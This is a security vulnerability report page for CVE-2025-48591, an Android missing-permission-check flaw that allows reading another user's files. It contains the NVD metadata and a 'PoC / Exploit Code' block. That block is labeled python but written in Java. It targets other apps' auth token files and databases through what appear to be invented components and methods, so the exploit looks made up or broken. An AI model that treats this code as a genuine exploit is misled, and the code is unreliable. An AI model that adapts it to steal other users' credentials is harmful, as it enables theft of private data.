Security Vulnerability Report
中文
CVE-2025-48591 CVSS 5.5 MEDIUM

CVE-2025-48591

Published: 2025-12-08 17:16:16
Last Modified: 2025-12-09 21:38:51

Description

In multiple locations, there is a possible way to read files from another user due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
Android Framework Base < 特定安全补丁版本
Android MMS Service < 2025-12-01安全补丁
受影响Android版本需查阅2025年12月安全公告

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-48591 PoC - Android Local File Read via Missing Permission Check // This PoC demonstrates accessing files from another user context // Method 1: Via ContentProvider without proper permission check Intent intent = new Intent(); intent.setComponent(new ComponentName( "com.android.mms", "com.android.mms.ui.MmsFileActivity" )); intent.setDataAndType(Uri.parse("content://media/external/file/999"), "*/*"); startActivity(intent); // Method 2: Direct file system access via exposed component String targetFile = "/data/user/999/com.example.app/shared_prefs/auth_tokens.xml"; ContentResolver resolver = getContentResolver(); InputStream is = resolver.openInputStream(Uri.fromFile(new File(targetFile))); // Method 3: Exploit via unprotected IPC interface IBinder binder = ServiceManager.getService("mms"); IMmsService mmsService = IMmsService.Stub.asInterface(binder); // Access files without proper user ID verification mmsService.readFileFromUserStorage("/data/data/com.other.app/databases/app.db", 999); // Note: This PoC is for educational and security research purposes only

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48591", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:16.287", "lastModified": "2025-12-09T21:38:50.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple locations, there is a possible way to read files from another user due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/3df02a7df8488e04e31ae1d9d081ed1b881dd6ad", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://android.googlesource.com/platform/packages/services/Mms/+/43ca1053f0a09b6fd1503caaecb62967a497b554", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}